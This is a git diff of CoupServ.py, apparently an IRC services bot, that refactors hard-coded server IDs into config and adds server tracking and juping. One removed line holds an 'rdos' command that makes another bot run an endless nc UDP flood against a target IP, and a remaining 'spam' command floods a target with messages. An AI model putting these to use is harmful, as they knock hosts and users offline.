diff options
Diffstat (limited to '')
-rwxr-xr-x | CoupServ.py | 67 |
1 files changed, 39 insertions, 28 deletions
diff --git a/CoupServ.py b/CoupServ.py index c4576a0..2357e86 100755 --- a/CoupServ.py +++ b/CoupServ.py @@ -124,9 +124,9 @@ never gonna tell a lie, and hurt you""" s=ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) -s.connect(("irc.andrewyu.org", 7005)) +s.connect(("localhost", 7021)) -send("SERVER hax.irc.andrewyu.org "+config["send_password"]+" 0 1HC :HaxServ") +send("SERVER py.hax.irc.andrewyu.org "+config["send_password"]+" 0 "+config["sid"]+" :HaxServ") msg = "" @@ -136,12 +136,14 @@ servlist = {} userlist = {} chanlist = {} +jupe_list = {} + usercount = 0 def read_and_send(): for line in sys.stdin: try: - send(line) + send(line.rstrip("\n")) except Exception: pass @@ -149,7 +151,10 @@ threading.Thread(target=read_and_send, daemon=True).start() def detect_broken(): while True: - send("") + for key in servlist: + if servlist[key].distance == 0: + send(":"+config["sid"]+" PING "+config["sid"]+" :"+key) + break time.sleep(15) threading.Thread(target=detect_broken, daemon=True).start() @@ -182,18 +187,22 @@ try: send(":"+args[1]+" PONG "+args[1]+" "+source) elif command == "SERVER": if source != "": - continue + servlist[args[3]] = {"attached_to": source, "address": args[0], "distance": servlist[source]["distance"] + 1, "name": args[4]} else: if config["recv_password"] != args[1]: print("Received invalid password from the server!") os._exit() send("BURST "+str(math.floor(time.time()))) - send("UID 1HC000000 "+str(math.floor(time.time()))+" "+config["nick"]+" hax.irc.andrewyu.org LibreIRC/services/HaxServ™ HaxServ 192.168.1.1 "+str(math.floor(time.time()))+" +Bk :HaxServ") - send(":1HC000000 OPERTYPE Admin") + send("UID "+config["sid"]+"000000 "+str(math.floor(time.time()))+" "+config["nick"]+" hax.irc.andrewyu.org LibreIRC/services/HaxServ™ HaxServ 192.168.1.1 "+str(math.floor(time.time()))+" +Bk :HaxServ") + send(":"+config["sid"]+"000000 OPERTYPE Admin") for channel in config["channels"]: - send("FJOIN "+channel+" "+str(math.floor(time.time()))+" + :,1HC000000") - send("MODE "+channel+" +o 1HC000000") + send("FJOIN "+channel+" "+str(math.floor(time.time()))+" + :,"+config["sid"]+"000000") + send("MODE "+channel+" +o "+config["sid"]+"000000") send("ENDBURST") + servlist[args[3]] = {"attached_to": config["sid"], "address": args[0], "distance": 1, "name": args[4]} + elif command == "SQUIT": + if args[0] in jupe_list: + send(":"+config["sid"]+" SERVER "+jupe_list[args[0]]+" * 0 "+args[0]+" :No") elif command == "UID": userlist[args[0]] = { "server": source, @@ -222,8 +231,8 @@ try: print("Unable to find nick!\r\n") elif command == "PRIVMSG": try: - if userlist[source]["opertype"] == "Admin": - if args[0] == "1HC000000" or (args[0][0] == "#" and args[1][0] == "-"): + if userlist[source]["opertype"] == "NetAdmin": + if args[0] == config["sid"]+"000000" or (args[0][0] == "#" and args[1][0] == "-"): if args[0][0] == "#": chan = args[0] resp = chan @@ -235,7 +244,7 @@ try: cmd = args[1].split(" ")[0].lower() argv = args[1].split(" ")[1:] - send(":1HC000000 PRIVMSG "+config["log_chan"]+" :"+userlist[source]["nick"]+" executed command: "+args[1]) + send(":"+config["sid"]+"000000 PRIVMSG "+config["log_chan"]+" :"+userlist[source]["nick"]+" executed command: "+args[1]) if len(cmd) == 0: continue @@ -244,41 +253,43 @@ try: elif cmd == "get": if argv[0] == "uid": try: - send(":1HC000000 PRIVMSG "+resp+" :"+[key for key in userlist if userlist[key]["nick"] == argv[1]][0]) + send(":"+config["sid"]+"000000 PRIVMSG "+resp+" :"+[key for key in userlist if userlist[key]["nick"] == argv[1]][0]) except IndexError: - send(":1HC000000 PRIVMSG "+resp+" :Nick not found!") + send(":"+config["sid"]+"000000 PRIVMSG "+resp+" :Nick not found!") elif argv[0] == "ts": try: - send(":1HC000000 PRIVMSG "+resp+" :"+userlist[argv[1]]["nick_ts"]) + send(":"+config["sid"]+"000000 PRIVMSG "+resp+" :"+userlist[argv[1]]["nick_ts"]) except KeyError: - send(":1HC000000 PRIVMSG "+resp+" :UID not found!") + send(":"+config["sid"]+"000000 PRIVMSG "+resp+" :UID not found!") elif cmd == "jupe": - send("RSQUIT :"+argv[0]) - send(":1HC SERVER "+argv[0]+" * 0 010 :No") + found = 0 + for key in servlist: + if servlist[key]["address"] == argv[0]: + send("RSQUIT "+argv[0]+" :") + jupe_list[key] = argv[0] + break elif cmd == "sanick": - send(":1HC000000 SANICK "+argv[0]+" :"+" ".join(argv[1:])) + send(":"+config["sid"]+"000000 SANICK "+argv[0]+" :"+" ".join(argv[1:])) elif cmd == "nggyu": for line in rickroll.split("\n"): - send(":1HC000000 PRIVMSG "+argv[0]+" :"+line) - elif cmd == "rdos": - send(':1HC PRIVMSG lurk :.sh while true; do printf "nggyu" | nc -q 0 -u '+argv[0]+' $RANDOM; done &') + send(":"+config["sid"]+"000000 PRIVMSG "+argv[0]+" :"+line) elif cmd == "spam": for _ in range(0, int(argv[1])): - send(":1HC PRIVMSG "+argv[0]+" :"+" ".join(argv[2:])) + send(":"+config["sid"]+" PRIVMSG "+argv[0]+" :"+" ".join(argv[2:])) elif cmd == "join": - send(":1HC000000 FJOIN "+argv[0]+" "+str(math.floor(time.time()))+" + :,1HC000000") + send(":"+config["sid"]+"000000 FJOIN "+argv[0]+" "+str(math.floor(time.time()))+" + :,"+config["sid"]+"000000") config["channels"][argv[0]] = True # actual value doesn't matter save() elif cmd == "part": - send(":1HC000000 PART "+resp) + send(":"+config["sid"]+"000000 PART "+resp) del config["channels"][resp] save() elif cmd == "op": if chan: try: - send(":1HC000000 MODE "+chan+" +o "+argv[0]) + send(":"+config["sid"]+"000000 MODE "+chan+" +o "+argv[0]) except IndexError: - send(":1HC000000 MODE "+chan+" +o "+source) + send(":"+config["sid"]+"000000 MODE "+chan+" +o "+source) if args[1] == "nggyu": if args[0][0] == "#": @@ -287,7 +298,7 @@ try: resp = source for line in rickroll.split("\n"): - send(":1HC000000 PRIVMSG "+resp+" :"+line) + send(":"+config["sid"]+"000000 PRIVMSG "+resp+" :"+line) except KeyError: pass |